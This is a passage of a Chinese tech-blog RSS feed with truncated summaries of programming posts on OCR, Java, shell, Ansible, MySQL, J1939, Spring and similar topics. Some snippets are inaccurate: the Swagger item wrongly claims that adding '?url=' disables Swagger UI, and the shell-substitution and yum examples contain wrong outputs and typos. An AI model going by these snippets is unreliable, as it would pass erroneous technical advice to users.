&#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1518 弄&#34;, className: &#34;normal&#34;, }, { date: &#34;2016-05-01&#34;, name: &#34;王小虎&#34;, address: &#34;上海市普陀区金沙江路 1518 弄&#34;, className: &#34;normal&#34;, }, { date: &#34;</description>
    </item>
    <item>
      <title>paddle ocr 训练数字识别模型</title>
      <link>https://bchobby.github.io/posts/12b006e52c0b37463246a6d738b948bd/</link>
      <pubDate>Tue, 20 Dec 2022 16:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12b006e52c0b37463246a6d738b948bd/</guid>
      <description>选择识别算法 gitlab&#xA;修改配置文件 复制rec_icdar15_train.yml配置文件,预训练模型用rec_mv3_none_bilstm_ctc&#xA;更改&#xA;pretrained_model预训练模型路径character_dict_path字典路径,字典内容data_dirlabel_file_list&#xA;Global: use_gpu: true epoch_num: 10 log_smooth_window: 20 print_batch_step: 10000 save_model_dir: ./output/rec/number/ save_epoch_step: 5 # evaluation is run every 2000 iterations eval_batch_step: [0, 3, 6, 9] cal_metric_during_train: True pretrained_model: pretrain_models/rec_mv3_none_bilstm_ctc_v2.0_train/best_accuracy checkpoints: save_inference_dir: ./ use_visualdl: False infer_img: ./train_data/NUMBER/9997_448.jpg # for data or label process character_dict_path: ppocr/utils/number_dict.txt max_text_length: 6 infer_mode: False use_space_char: True save_res_path: ./output/rec/predicts_number.txt Optimizer: name: Adam beta1: 0.9 beta2: 0.999 lr: learning_rate: 0.0005 regularizer: name: &#39;L2&#39; factor: 0 Architecture: model_type: rec algorithm: CRNN Transform: Backbone: name: MobileNetV3 scale: 0.</description>
    </item>
    <item>
      <title>大一c语言程序设计——电话簿管理</title>
      <link>https://bchobby.github.io/posts/ca70232818edb9baafe71ef07e192bb8/</link>
      <pubDate>Tue, 20 Dec 2022 16:24:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca70232818edb9baafe71ef07e192bb8/</guid>
      <description>题目要求 电话簿管理&#xA;设计一个学生通信录，学生通迅录数据信息构成内容可自行设计(如：姓名、家庭地址、邮政编码、电话号码等等)。该学生通信录电管理程序具有加入、删除、显示和查询等功能。&#xA;能建立、修改和增删学生通讯录；具有群组工能，可以增加群组和记录；删除可以删除一条、一个群组、全部记录；查询包含模糊查询；显示可以以页面和列表方式显示；有自动排序的功能；界面友好，易于操作，采用文件存储数据。 代码实现 头文件 fun.h //头文件的包含 #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; //宏定义 //学生信息结构的定义 typedef struct student { int num;//以学号排序 char logo[20];//群组分类功能——标签 char name[20]; char address[50]; int PostalCode; char PhoneCode[12]; struct student* next; }STU; //函数的声明 //创建学生信息链表 STU* create(); //添加学生的信息 STU* append(STU* head, STU* new); //修改学生的信息 STU* modify(STU* head, char name[]); //删除一条、一个群组、全部记录 STU* delete(STU* head, int choice); //对数据进行保存 void save(FILE* fp, STU* head); //查找 void find(STU* head, int choice); //显示通讯录信息 void output(STU* head); fun.</description>
    </item>
    <item>
      <title>Java中的日期类</title>
      <link>https://bchobby.github.io/posts/dca20258f0a78f3332684894149f03b2/</link>
      <pubDate>Tue, 20 Dec 2022 12:33:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dca20258f0a78f3332684894149f03b2/</guid>
      <description>一、介绍 日期类就是跟日期有关的类，主要有三种：Date类、Calendar类和LocalDate类。&#xA;二、Date类（第一代日期类） Date类是java.util包里的类，即java.util.Date。&#xA;1、输出当前系统时间 package com.hspedu.System_; import java.text.SimpleDateFormat; import java.util.Date; import java.util.Set; public class Date01 { public static void main(String[] args) { //1.获取当前系统时间 //2.默认输出的日期格式是国外的方式，因此通常需要对格式进行转换 Date d1 = new Date(); System.out.println(&#34;当前日期：&#34; + d1); //1.创建SimpleDateFormat对象，可以指定相应的格式 SimpleDateFormat sdf = new SimpleDateFormat(&#34;yyyy年MM月dd日 hh:mm:ss E&#34;); String format = sdf.format(d1); //format：将日期转换成指定格式的字符串 System.out.println(&#34;当前日期：&#34; + format); } } 输出结果：&#xA;当前日期：Tue Dec 20 12:20:34 CST 2022&#xA;当前日期：2022年12月20日 12:20:34 周二&#xA;2、把格式化的字符串转成对应的Date 二、Calendar类 （第二代日期类） package com.hspedu.System_; import java.text.SimpleDateFormat; import java.</description>
    </item>
    <item>
      <title>ansible基础及常见知识点</title>
      <link>https://bchobby.github.io/posts/41a34d9dbe59aef7a7d118e2b8dc1db8/</link>
      <pubDate>Tue, 20 Dec 2022 11:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41a34d9dbe59aef7a7d118e2b8dc1db8/</guid>
      <description>1、 ansible普通用户执行sudo命令 # ansible -i hosts test01 -a &#39;ls /root&#39; -u &#39;yukw&#39; -b test01 | FAILED! =&amp;gt; { &#34;ansible_facts&#34;: { &#34;discovered_interpreter_python&#34;: &#34;/usr/bin/python&#34; }, &#34;changed&#34;: false, &#34;module_stderr&#34;: &#34;Shared connection to 10.0.8.80 closed.\r\n&#34;, &#34;module_stdout&#34;: &#34;sudo: 需要密码\r\n&#34;, &#34;msg&#34;: &#34;MODULE FAILURE\nSee stdout/stderr for the exact error&#34;, &#34;rc&#34;: 1 } [ root @ cs-ansible 10.0.8.252 ] /data/services/ansible-test # ansible -i hosts test01 -a &#39;ls /root&#39; -u &#39;yukw&#39; -b -K BECOME password: test01 | FAILED! =&amp;gt; { &#34;</description>
    </item>
    <item>
      <title>智能优化算法比较：常用的23组测试函数</title>
      <link>https://bchobby.github.io/posts/341299275576ae0ba11910ec257ab84e/</link>
      <pubDate>Tue, 20 Dec 2022 10:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/341299275576ae0ba11910ec257ab84e/</guid>
      <description>在智能优化算法的性能比较过程中，经常会需要用到一些测试函数，进行算法的性能比较。CEC(国际进化计算会议) 测试函数，常用的23组整理如下。&#xA;1 单模态的基准测试函数 2 多模态的基准测试函数 3 复合基准测试函数 4 测试函数代码 %% 子函数用于定义表达式 % F1 function o = F1(x) o=sum(x.^2); end % F2 function o = F2(x) o=sum(abs(x))+prod(abs(x)); end % F3 function o = F3(x) dim=size(x,2); o=0; for i=1:dim o=o+sum(x(1:i))^2; end end % F4 function o = F4(x) o=max(abs(x)); end % F5 function o = F5(x) dim=size(x,2); o=sum(100*(x(2:dim)-(x(1:dim-1).^2)).^2+(x(1:dim-1)-1).^2); end % F6 function o = F6(x) o=sum(abs((x+.5)).^2); end % F7 function o = F7(x) dim=size(x,2); o=sum([1:dim].</description>
    </item>
    <item>
      <title>通过yum安装python3.9和pip3</title>
      <link>https://bchobby.github.io/posts/b2e906e463bce8b95f701faaa3ed64e2/</link>
      <pubDate>Tue, 20 Dec 2022 10:50:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2e906e463bce8b95f701faaa3ed64e2/</guid>
      <description>你好！&#xA;要使用 yum 安装 Python 3.9 和 pip3，需要执行以下步骤：&#xA;首先，确保你的系统上已经安装了 yum。如果没有，请参考如何在 CentOS 上安装 yum。&#xA;然后，使用 yum 命令安装 Python 3.9。&#xA;yum install python3.9 接下来，使用 yum 命令安装 pip3。 yuminstall python3-pip 最后，检查是否已成功安装 Python 3.9 和 pip3。 python3.9 --version pip3 --version 如果一切顺利，上述命令会输出 Python 3.9 和 pip3 的版本信息。&#xA;希望这能帮到你！</description>
    </item>
    <item>
      <title>shell 变量替换</title>
      <link>https://bchobby.github.io/posts/6b988d4db8a16cb380c48b43e286a322/</link>
      <pubDate>Tue, 20 Dec 2022 10:40:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b988d4db8a16cb380c48b43e286a322/</guid>
      <description>公式 总结 1. ${变量#匹配规则} #从头开始匹配, 最短删除 2. ${变量##匹配规则} #从头开始匹配，最长删除 3. ${变量%匹配规则} #从尾开始匹配，最短删除 4. ${变量%%匹配规则} #从尾开始匹配,最长删除 5.${变量/旧字符串/新字符串} #替换变量内的旧字符串为新字符串,只替换第一个 6. ${变量//旧字符串/新字符串}&#x9;#替换变量内的旧字符串为新字符串,全部替换 示例 删除 var1 =&#34;I love you, Do you love me?&#34; echo $var1 # I love you, Do you love me? #从头开始匹配, 最短删除 echo ${var1#*ov} # e you, Do you love me? #从头开始匹配，最长删除 echo ${var1##*ov} # e me? #从尾开始匹配，最短删除 echo ${var1%*ov} # e me? # I love you, Do you l #从尾开始匹配，最长删除 echo ${var1%%*ov} # e me?</description>
    </item>
    <item>
      <title>Qt6.3学习笔记 QOpenGLWidget 简单使用</title>
      <link>https://bchobby.github.io/posts/14052acdb3f58b082310e36e5175526d/</link>
      <pubDate>Tue, 20 Dec 2022 10:28:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14052acdb3f58b082310e36e5175526d/</guid>
      <description>QOpenGLWidget绘图的简单使用&#xA;#ifndef ORIENTATIONGLWIDGET_H #define ORIENTATIONGLWIDGET_H #include &amp;lt;QtOpenGL&amp;gt; #include &amp;lt;QOpenGLWidget&amp;gt; #include &amp;lt;QOpenGLExtraFunctions&amp;gt; class OrientationGLWidget : public QOpenGLWidget, public QOpenGLExtraFunctions { Q_OBJECT public: explicit OrientationGLWidget(QWidget *parent = nullptr); ~OrientationGLWidget(); signals: private: public: void drawView(); // QOpenGLWidget interface protected: //设置渲染环境 void initializeGL(); //绘制窗口 void resizeGL(int w, int h); void paintGL(); }; #endif // ORIENTATIONGLWIDGET_H #include &#34;orientationglwidget.h&#34; #include &amp;lt;gl/glu.h&amp;gt; OrientationGLWidget::OrientationGLWidget(QWidget *parent) : QOpenGLWidget{parent} { } OrientationGLWidget::~OrientationGLWidget() { } void OrientationGLWidget::initializeGL() { initializeOpenGLFunctions(); //这个代表截取屏幕，这里我这里截取整个屏幕 //注意此关键函数 //glOrtho(0.</description>
    </item>
    <item>
      <title>如何在 Java 中将 String 转换为 int？</title>
      <link>https://bchobby.github.io/posts/805e9a6fadc617cf12c941967109a916/</link>
      <pubDate>Tue, 20 Dec 2022 09:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/805e9a6fadc617cf12c941967109a916/</guid>
      <description>问： 如何将 String 转换为 int？&#xA;&#34;1234&#34; → 1234 答1: huntsbot.com – 高效赚钱，自由工作&#xA;String myString = &#34;1234&#34;; int foo = Integer.parseInt(myString); 如果您查看 Java documentation，您会注意到“捕获”是此函数可以抛出一个 NumberFormatException，您可以处理它：&#xA;int foo; try { foo = Integer.parseInt(myString); } catch (NumberFormatException e) { foo = 0; } （此处理将格式错误的数字默认为 0，但您可以根据需要执行其他操作。）&#xA;或者，您可以使用 Guava 库中的 Ints 方法，该方法与 Java 8 的 Optional 结合使用，是一种将字符串转换为 int 的强大而简洁的方法：&#xA;import com.google.common.primitives.Ints; int foo = Optional.ofNullable(myString) .map(Ints::tryParse) .orElse(0) 除了捕获 NumberFormatException 之外，用户还应该注意他们传入的字符串的长度；如果它们的长度足以溢出整数，则可能要考虑使用 Long::parseLong 代替。&#xA;它完美地工作。谢谢！&#xA;答2: huntsbot.</description>
    </item>
    <item>
      <title>linux如何访问windows共享文件夹</title>
      <link>https://bchobby.github.io/posts/5af374703e4e1181acd2c3765d2bbe64/</link>
      <pubDate>Tue, 20 Dec 2022 08:08:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5af374703e4e1181acd2c3765d2bbe64/</guid>
      <description>在 Linux 中访问 Windows 共享文件夹的方法如下：&#xA;确保 Windows 电脑开启了共享功能。&#xA;在 Linux 电脑上打开终端，输入以下命令：&#xA;sudo apt-get install smbclient 这样就安装了 smbclient 工具，它可以用来连接 Windows 共享文件夹。&#xA;输入以下命令来连接 Windows 共享文件夹： smbclient //&amp;lt;Windows IP地址&amp;gt;/&amp;lt;共享文件夹名称&amp;gt; -U &amp;lt;Windows用户名&amp;gt; 例如，如果 Windows 电脑的 IP 地址是 192.168.1.100，共享文件夹名称是 share，Windows 用户名是 user，那么输入的命令就是：&#xA;smbclient//192.168.1.100/share -U user 输入 Windows 用户密码后，就可以在 Linux 电脑上访问 Windows 共享文件夹了。 注意：如果 Windows 电脑使用的是较新的 Windows 系统，可能需要在 Windows 电脑上安装 SMB1 共享功能，才能在 Linux 电脑上访问共享文件夹。</description>
    </item>
    <item>
      <title>mysql服务无法启动</title>
      <link>https://bchobby.github.io/posts/957e3d2193c4f56564ac9af3a6f5cad9/</link>
      <pubDate>Tue, 20 Dec 2022 00:18:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/957e3d2193c4f56564ac9af3a6f5cad9/</guid>
      <description> 搜索发现很多错误我是同时发生，看下图（已解决记录一下，图片都是找其他博主的）：&#xA;第一种：mysql服务无法启动。&#xA;第二种：mysql本地计算机上的MySQL服务启动后停止。某些服务在未由其他服务或程序使用时将自动停止。&#xA;第三种：ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)&#xA;解决方法：&#xA;我发现在跟着B站教程时候第二种错误就存在了，可我没当回事，才造成后面的启动mysql错误。&#xA;我发现初始化mysql时候生成的data文件夹跟视频里面不太一样。&#xA;这是解决后的图片（解决前没记录），里面没有这么多文件，就四五个好像。&#xA;所以应该就直接重新安装。&#xA;首先，先删除已经安装的mysql57，避免之后产生冲突，用指令mysqld remove mysql57。&#xA;之后，直接删除全部文件夹（我是免安装版本），重新解压官网下载的文件夹，再按照视频步骤一步步重新设置就成功了。&#xA;鉴定：&#xA;任务管理器启动mysql57成功直接safe。&#xA;补充：如果最后还出现第三种错误ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061) 看我另一个文章 http://t.csdn.cn/KdDrX </description>
    </item>
    <item>
      <title>J1939协议简介</title>
      <link>https://bchobby.github.io/posts/5b2c3e634cda60c7139e8628b65bb910/</link>
      <pubDate>Mon, 19 Dec 2022 18:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b2c3e634cda60c7139e8628b65bb910/</guid>
      <description>J1939简介 J1939协议简介 J1939协议是由美国汽车工程师协会（SAE） (SAE协会简介)定义的一组标准。J1939标准用于卡车、公共汽车和移动液压等重型车辆。在许多方面，J1939标准类似于旧版J1708和J1587标准，但J1939标准协议建立在CAN（控制器区域网络，ISO11898）上。&#xA;物理层（J1939/11）描述了针对客车的电气接口。数据链路层描述了构建报文、访问总线以及诊断传送故障的规则。应用层(J1939/71和J1939/73）定义了在网络中传送的每条报文的具体数据。&#xA;J1939主要特性 J1939协议标准基于CAN的高层协议J1939协议应用于重型车辆J1939协议传送速度稳定在250kbps 报文格式及使用方法(J1939/21) MJ1939标准定义的大部分报文均旨在广播。这意味着网络中传输的数据没有指定目标地址。这样任何想要使用数据的设备都不需要再额外请求报文。将来的软件升级也可以方便兼容新设备（地址分配）。当报文必须指向特定设备时，可以在报文标识符里包含特定的目标地址。例如，请求来自发动机的特定扭矩值，而不是来自制动控制器的特定扭矩值。&#xA;J1939使用CAN 2.0B协议中定义的29位标识符，如图1所示。含有指定目标地址的报文（“PDU 1”）与旨在广播的报文（“PDU 2”）使用的标识符略有不同。&#xA;PDU是协议数据单元（即报文格式）。&#xA;SOF，SRR和IDE位由CAN标准定义，这里忽略。RTR位（远程请求位）在J1939中总是设置为0。&#xA;J1939协议中使用的29位标识符结构如下。&#xA;优先权位保留位数据页位PDU格式特定PDU源地址3个位1个位1个位8个位8个位8个位 表1: 29位标识符的结构&#xA;标识符的前三位是用于在仲裁过程中控制报文的优先级。0值拥有最高优先级。更高优先级值通常用于高速控制报文，例如从传动装置至发动机的转矩控制报文。包含时间不重要的数据的报文，例如车辆行驶速度，会被赋予较低优先级值。&#xA;标识符的下一位将保留备用，在报文发送中应设置为0。&#xA;标识符中的下一位是数据页选择器。此位扩展可由标识符表示的潜在参数组的数目。&#xA;协议数据单元格式（PF）用于确定是否可以作为包含目标地址报文发送或者报文总是作为广播报文发送。&#xA;对特定协议数据单元（PS）字段变化的解释以PF的值为依据：&#xA;如果PF处于0和239之间，则报文可寻址，且PS字段包含目标地址。如果PF处于240和255之间，则报文只能广播（PDU2），且PS字段包含组扩展。 组扩展扩展了可由标识符表示的潜在广播参数组的数目。&#xA;术语参数组编号（PGN）适用于将保留位、DP、PF和PS字段的值合并成单个18位的值。&#xA;例如: 身份0xcf004ee可分为表2所示字段。&#xA;0x0C0xF00x040xEE00001100111100000000010011101110—PrioRDPPFPSSA 表2. PGN示例&#xA;PGN = R，DP， PF和PS字段 – 在本例中为0x0F004。PF = 0xF0 = 240，即这是PDU2（广播）报文PS = 0×04，即组扩展 = 4 标识符的最后8位包含发送报文的设备的地址。地址是被分配以提供唯一地访问网络上的给定设备的方式的标签或“句柄”。对于给定的网络，每个地址必须是唯一的（可以有254个）。这意味着两个不同的设备（ECU）不能使用相同的地址。&#xA;地址和名称 (J1939/81) 名称是64位（8字节）长的标签，给每个ECU一个独特的身份。 名称由10个字段组成，并具有表3所示的以下结构。&#xA;表3. 名称的结构&#xA;1随机存取位2行业组，长度3位3车辆系统实例，长度4位4车辆系统，长度7位5保留位6函数，长度8位7函数实例，长度5位8ECU实例，长度3位9制造商代码，长度11位10身份号码，长度21位 CAN报文中的字节号码内容/意义0身份号码， LSB1身份号码20-4位: 身份号码，MSB&#xA;5-7位: 制造商代码，LSB3制造商代码，MSB40-2位: ECU实例&#xA;3-7位: 函数实例5函数60位: 保留位&#xA;1-7位: 车辆系统70-3位: 车辆系统实例&#xA;4-6位: 行业组&#xA;7位: 随机存取位 名称的主要目的是描述ECU。低函数字段的值，0到127，被预先分配给“标准的”函数或设备。值128至254则依赖于行业组和车辆系统的值。这种依赖性使得不同的车辆可以拥有相同配置的函数。该系统还允许诸如拖车和农用车辆等设备限制对可用地址的搜索，且因此尽可能缩短动态声明地址的时间以及降低其难度。当请求地址时， 名称被用来决定哪一个ECU拥有更高的优先权，并以此获得请求的地址。</description>
    </item>
    <item>
      <title>信息安全加解密各种算法(比较全)</title>
      <link>https://bchobby.github.io/posts/8eb9c1ccf63362f227c9f62200900397/</link>
      <pubDate>Mon, 19 Dec 2022 17:40:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eb9c1ccf63362f227c9f62200900397/</guid>
      <description>一、数据安全，分为： 前端：展示做脱敏处理，数据脱敏（Data Masking） 前端到后端过程：数据加密传输 后端：数据加密后存储到数据表 二、数据安全：加密分类 可逆加密&#xA;1.1 对称加密 (对称,指的是秘钥对称,加密解密都是用的同一个秘钥)&#xA;1.2 非对称加密 (非对称,称指的是秘钥非对称,加密解密用的两个不同秘钥)&#xA;不可逆加密&#xA;三、可逆【对称加密算法】（symmetric encryption algorithm）有哪些产品？ ZUC算法 【中国国家颁布的分组密码算法】 SM系列 （SM1算法、SM4算法、SM7算法）【中国国家颁布的分组密码算法】 AES算法 （备注：国际主流，美国的） IDEA算法 DES系列（DES算法、3DES算法） (其中3DES即：Triple Data Encryption Algorithm，简写为Triple DEA，缩写为TDEA/3DES) RC系列（RC2算法、RC4算法、RC5算法、RC6算法） TEA系列（TEA算法、XTEA算法、XXTEA算法） Fish系列（BlowFish算法、TwoFish算法） Camellia算法 ChaCha20算法 Salsa20算法 ...... 四、可逆【非对称加密算法】（asymmetric encryption algorithm）有哪些产品？ SM系列（SM2算法、SM9算法）【国家颁布的分组密码算法】 RSA算法 ECDSA算法 （ECC与DSA的结合，区块链就是这种） ECC算法 （备注：移动设备用） DSA算法 （备注：数字签名用） Elgamal算法 Rabin算法 D-H算法（即：Diffie-Hellman） 背包算法 ...... 五、不可逆【Hash算法】有哪些产品？ SM3算法【国家颁布的hash算法】 SHA系列（SHA1、SHA-224、SHA-256、SHA-384、SHA-512） MD系列（MD2、MD4、MD5） HMAC系列（HMAC、HMAC-MD5、HMAC-SHA1） HAVAL算法 ...... 六、对称加密 和 非对称加密 区别？ （1）密钥不同&#xA;1、对称加密：对称加密加密和解密使用同一个密钥。（也就是说，加解密双方都是使用同一个密钥对数据进行加密和解密，存在无法验证发送者和接受者的身份，有冒用身份的风险。）&#xA;2、非对称加密：非对称加密加密和解密所使用的不是同一个密钥，&#xA;需要两个密钥来进行加密和解密。&#xA;公钥进行加密，私钥进行解密。</description>
    </item>
    <item>
      <title>如何关闭swagger-ui.html</title>
      <link>https://bchobby.github.io/posts/eab90770b234a0147e1674a4f8892fb2/</link>
      <pubDate>Mon, 19 Dec 2022 16:03:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eab90770b234a0147e1674a4f8892fb2/</guid>
      <description>要关闭 Swagger UI，您需要停止运行您的应用程序。这将使 Swagger UI 不再可用。&#xA;如果您使用的是本地开发服务器，可以使用“CTRL + C”快捷键来停止运行服务器。如果您使用的是远程服务器，则需要使用服务器控制面板或命令行工具来停止服务器。&#xA;此外，还可以通过在 Swagger UI 的 URL 中添加“?url=”参数来关闭 Swagger UI。例如，如果您的 Swagger UI 的 URL 是“http://localhost:8080/swagger-ui.html”，则可以使用“http://localhost:8080/swagger-ui.html?url=”来关闭 Swagger UI。&#xA;希望这对您有帮助！</description>
    </item>
    <item>
      <title>“RouteRecordRaw“ 是一种类型，在同时启用了 “preserveValueImports“ 和 “isolatedModules“ 时，必须使用仅类型导入进行导入。</title>
      <link>https://bchobby.github.io/posts/166d57e3509a9773d0fd9c243e83594e/</link>
      <pubDate>Mon, 19 Dec 2022 15:20:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/166d57e3509a9773d0fd9c243e83594e/</guid>
      <description>使用vue3+ts开发时，在配置路由时，出现如下问题：&#xA;在引用RouteRecordRaw声明routes时，报错。&#xA;解决方法： 第一种方法：&#xA;引入的时候以类型的形式引入，前面添加type：&#xA;import { createRouter, createWebHistory } from &#39;vue-router&#39; import type { RouteRecordRaw } from &#39;vue-router&#39; 第二种方法：&#xA;找到根目录中的tsconfig.json文件，设置preserveValueImports：false&#xA;&#34;compilerOptions&#34;: { &#34;baseUrl&#34;: &#34;.&#34;, &#34;paths&#34;: { &#34;@/*&#34;: [&#34;./src/*&#34;] }, &#34;preserveValueImports&#34;: false 这样如上问题就可解决。</description>
    </item>
    <item>
      <title>shell 获取命令执行的结果，获取结果返回</title>
      <link>https://bchobby.github.io/posts/39df7f06f908968aeb78f8f1460ab2d4/</link>
      <pubDate>Mon, 19 Dec 2022 13:13:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39df7f06f908968aeb78f8f1460ab2d4/</guid>
      <description> shell脚本中， 执行其他脚本时，想判断执行其他脚本的结果是否成功&#xA;if [ $? -ne 0 ];then echo &#34;fail&#34; else: echo &#34;success&#34; fi 如果返回0，代表命令执行成功&#xA;返回1或者其他不等于0的值，代表失败&#xA;-eq //equals等于 -ne //no equals不等于 -gt //greater than 大于 -lt //less than小于 -ge //greater equals大于等于 -le //less equals小于等于 当我们想获取上一个shell脚本的返回值时，可用 exit（退出当前程序）&#xA;exit 0 代表当前程序是执行成功，正常退出 exit 1 代表当前程序执行失败，失败结束并退出 以下例子为：我执行一个脚本，如果失败的话，我重试一遍，再次失败我就异常退出&#xA;sh myshell.sh # 第一次执行myshell.sh脚本 if [ $? -ne 0 ];then # 判断以上脚本执行是否成功 sh myshell.sh # 如果失败再次启动　if [ $? -ne 0 ];then python3 $dingding $1/${pro_name[$i]} # 这里是失败发送钉钉报警 exit 1 # 失败退出 fi fi </description>
    </item>
    <item>
      <title>Android 13.0 SystemUI 启动流程</title>
      <link>https://bchobby.github.io/posts/24fa41ee24b183d2a41058e39d880119/</link>
      <pubDate>Mon, 19 Dec 2022 10:41:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24fa41ee24b183d2a41058e39d880119/</guid>
      <description>1、手机开机后，Android系统首先会创建一个Zygote（核心进程）。&#xA;2、由Zygote启动SystemServer。&#xA;3、SystemServer会启动系统运行所需的众多核心服务和普通服务、以及一些应用及数据。例如：SystemUI 启动就是从 SystemServer 里启动的。&#xA;4、进入锁屏界面，开机完成。&#xA;SystemServer 中有一个 main()方法为系统服务的入口；&#xA;/**&#xA;* The main entry point from zygote.&#xA;*/&#xA;public static void main(String[] args) {&#xA;new SystemServer().run();&#xA;}&#xA;在SystemServer 中的 main()方法中，就一句代码生成 SystemServer 对象，执行run 方法。在run()方法里启动了各类服务；&#xA;private void run() {&#xA;//省略部分代码&#xA;// Start services.&#xA;try {&#xA;traceBeginAndSlog(“StartServices”);&#xA;startBootstrapServices();&#xA;startCoreServices();&#xA;startOtherServices(); // 在该方法里启动了 SystemUI的服务。&#xA;SystemServerInitThreadPool.shutdown();&#xA;} catch (Throwable ex) {&#xA;Slog.e(“System”, “******************************&#34;);&#xA;Slog.e(“System”, &#34; Failure starting system services”, ex);&#xA;throw ex;&#xA;} finally {</description>
    </item>
    <item>
      <title>Spring参数校验注解 - @Valid / @Validated</title>
      <link>https://bchobby.github.io/posts/a3c24f30da44299872679b984168df43/</link>
      <pubDate>Mon, 19 Dec 2022 09:17:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3c24f30da44299872679b984168df43/</guid>
      <description>目录&#xA;前言&#xA;二、使用步骤&#xA;引入库&#xA;1.URL校验&#xA;2.表单校验&#xA;3.嵌套校验&#xA;4.分组校验&#xA;前言 &#34;对于任何一个项目来说，对接口的参数进行校验是必不可少的，最简单的方法就是在代码中直接检查参数。然而，这种方法显然不够优雅。Spring 提供了一种更优雅的方法来实现参数校验，本文将对此进行详细说明。&#34;&#xA;一、@Valid / @Validated的区别 @Validated // 支持类上，方法，方法参数上注解，支持指定group分组，不支持嵌套对象自动校验&#xA;@Valid // 不支持类上注解，不支持指定group分组，但是支持嵌套对象的字段自动校验&#xA;二、使用步骤 引入库 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-validation&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 1.URL校验 @RestController @Validated public class MyController { } @GetMapping(&#34;/test&#34;) public R test(@NotBlank @RequestParam String p1, @Range(max = 50, min = 10) @RequestParam int p2) { //业务逻辑 return R.ok(); } 注意需要在类上加一个@Validated注解，否则可能无法校验成功。&#xA;2.表单校验 @Data @AllArgsConstructor public class User { private String id; @NotBlank @Size(max = 20) private String name; @NotNull @Pattern(regexp = &#34;</description>
    </item>
    <item>
      <title>数据结构---用栈实现队列</title>
      <link>https://bchobby.github.io/posts/29afb94440bd12c16270cb5d82572db0/</link>
      <pubDate>Sun, 18 Dec 2022 20:25:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29afb94440bd12c16270cb5d82572db0/</guid>
      <description>用栈实现队列 模拟入队模拟出队JAVA实现总结 用栈来模拟一个队列，要求实现队列的两个基本操作：入队、出队。 栈是先入后出，队列是先入先出&#xA;用两个栈来实现一个队列功能&#xA;让其中一个栈作为队列的入口，负责插入新元素；另一个栈作为队列的出口，负责移除老元素。&#xA;核心点：两个栈是各自独立的，怎么能把它们有效地关联起来？&#xA;模拟入队 在模拟入队操作时，每一个新元素都被压入到栈A当中。&#xA;元素1入队&#xA;元素2入队&#xA;元素3入队&#xA;模拟出队 按理说，我们希望最先入队的元素1出队&#xA;解决方案：让栈A中的所有元素按顺序出栈，再按照出栈顺序压入栈B。这样一来，元素从栈A弹出并压入栈B的顺序是3、2、1，和当初进入栈A的顺序1、2、3是相反的。&#xA;此时让元素1 出队，也就是让元素1从栈B中弹出。&#xA;让元素2出队。&#xA;如果现在又有新元素4入队：&#xA;每次都是先把栈B弹干净后，再从栈A取元素入栈到B中&#xA;先把3弹栈，这时，栈B为空栈，再从栈A中取元素到B中。&#xA;JAVA实现 package algorithmProblem; import java.util.Stack; //栈模拟队列的入队和出队 public class stacks2Queue { //用俩个栈模拟 private Stack&amp;lt;Integer&amp;gt; stackA = new Stack&amp;lt;Integer&amp;gt;(); private Stack&amp;lt;Integer&amp;gt; stackB = new Stack&amp;lt;Integer&amp;gt;(); /** * 入队 * @param element */ public void enQueue(int element){ stackA.push(element); } /** * 栈A元素转移到栈B * 为了出队做的前期准备 */ private void transformer(){ //当栈A不为空，执行循环(把A栈元素全部都放到B栈中) while (!(stackA.isEmpty())) { stackB.</description>
    </item>
    <item>
      <title>Python入门常用开发环境</title>
      <link>https://bchobby.github.io/posts/c82ab12b8701a23a08d354df71732d87/</link>
      <pubDate>Sun, 18 Dec 2022 20:06:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c82ab12b8701a23a08d354df71732d87/</guid>
      <description>开发环境:英文是 IDE(lntegrated develo pment Fnvironment 集成开发环境)。&#xA;常用的开发环境如下:&#xA;1.IDLE 2.pycharm(推荐)&#xA;3.vscode(推荐)&#xA;pycharm下载和安装:&#xA;下载地址:https://www.jetbrains.com/pycharm/download。&#xA;下载对应的版本:&#xA;和安装普通软件一样，点击下一步即可。&#xA;安装完成后，运行pycharm。选择不导入配置:&#xA;创建Python项目:&#xA;1.选择:New project&#xA;2.选择路径(尽量不要包含中文)，项目名:mypy01&#xA;开发和运行项目:&#xA;1.打开项目后，右键单击项目，创建Python文件mypy01&#xA;2.运行py文件，使用右键点击编辑区，选择Run mypy01即可。&#xA;交互模式和控制台:&#xA;1.点击Terminal，则进入控制台(Powershell);&#xA;2.点击交互模式，则进入类似IDLE的交互模式。&#xA;其他设置:&#xA;1.字体大小:&#xA;File--&amp;gt;setting--&amp;gt;Editor--&amp;gt;Font 把字体调大一些。&#xA;2.主题风格:&#xA;File--&amp;gt;setting--&amp;gt;Apperence--&amp;gt;Pragula(黑色主题)，Intelij light(白色主题)。</description>
    </item>
    <item>
      <title>Rk3588 Rk3588s对比</title>
      <link>https://bchobby.github.io/posts/0f6482d1f24270ad8eb91cead4f5b893/</link>
